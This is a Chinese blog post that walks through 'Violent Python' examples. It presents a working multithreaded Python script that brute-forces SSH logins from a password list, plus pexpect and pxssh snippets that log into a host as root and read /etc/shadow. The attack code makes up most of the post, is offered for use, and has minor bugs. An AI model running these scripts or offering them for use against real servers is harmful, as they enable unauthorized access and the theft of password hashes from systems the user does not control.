1. 程式人生 > >SSH暴力破解之Python-pxssh實現

SSH暴力破解之Python-pxssh實現

最近在看《Violent Python》,記錄一些程式碼實現。

0x00 SSH暴力破解之Python-pexssh實現

Pxssh是一個包含了pexpect庫的專用指令碼,它能用預先寫好的login()、logout()、prompt()等函式直接與SSH進行互動。

簡單示例:

import pxssh
def send_command(s, cmd):
    s.sendline(cmd)
	s.prompt()
	print s.before
def connect(host, user, password):
	try:
	    # Init a pxssh object
	    s = pxssh.pxssh()
	    s.login(host, user, password)
	    return send_command
	except:
	    print '[-] Error Connecting'
		exit(0)
s = connect('127.0.0.1', 'root', 'root')
send_command(s, 'cat /etc/shadow | grep root')
0x01 程式碼實現
import pxssh
import optparse
import time
from threading import *
# Set maxconnections of threads
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
    # User the global variables
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        #  Try login with user/password
        s.login(host, user, password)
        print '[+] Password Found: ' + password
        Found = True
    except Exception, e:
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            # Try again
            connect(host, user, password, False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            # Try again
            connect(host, user, password, False)
    finally:
        # If get a wrong-pass answer, then release a thread-lock
        if release:
            connection_lock.release()
def main():
    parser = optparse.OptionParser("usage%prog -H <target host> -u <user> -F <password list>")
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-u', dest='user', type='string', help='specify the user')
    parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
    (options, args) = parser.parse_args()
    host = options.tgtHost
    user = options.user
    passwdFile = options.passwdFile
    if (host == None) | (user == None) | (passwdFile == None):
        print parser.usage
        exit(0)
    fn = open(passwdFile, 'r')
    for line in fn.readlines():
	if Found:
            # If passwdFile enum ends before a thread found the passwd, 'Exiting...' will not be able to echo on the screen
            print "[*] Exiting: Password  Found"
            exit(0)
        if Fails > 5:
            print "[!] Exiting: Too Many Socket Timeouts"
            exit(0)
        connection_lock.acquire()
        password = line.strip('\r').strip('\n')
        print "[-] Testing: " + str(password)
        t = Thread(target = connect, args = (host, user, password, True))
        child = t.start()
if __name__ == '__main__':
    main()
0x02 效果


0x03 pexpect後記

使用pexpect庫得安裝ptyprocess,連結:

https://pypi.python.org/pypi/ptyprocess
https://pypi.python.org/pypi/pexpect

建議先了解pexpect庫,pxssh畢竟只是一個SSH定製化的庫,pexpect庫還是很強大的,尤其是顯示與程式的互動和等待預期螢幕輸出,並給出不同響應。

簡單示例:

import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print child.before
def connect(user, host, password):
    ssh_newkey = 'Are you sure you want to continue connecting'
    connStr = 'ssh ' + user + '@' + host
    child = pexpect.spawn(connStr)
    print 'Ready to execut: ' + connStr
    ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])
    if ret == 0:
        print '[-] Error Connecting'
        return
    if ret == 1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])
    if ret == 0:
        print 'Error Connecting'
        return
    child.sendline(password)
    child.expect(PROMPT)
    return child
def main():
    host = '192.168.226.134'
    user = 'root'
    password = 'toor'
    child = connect(user, host, password)
    if child != None:
        send_command(child, 'cat /etc/shadow |grep root')
if __name__ == '__main__':
    main()

have fun~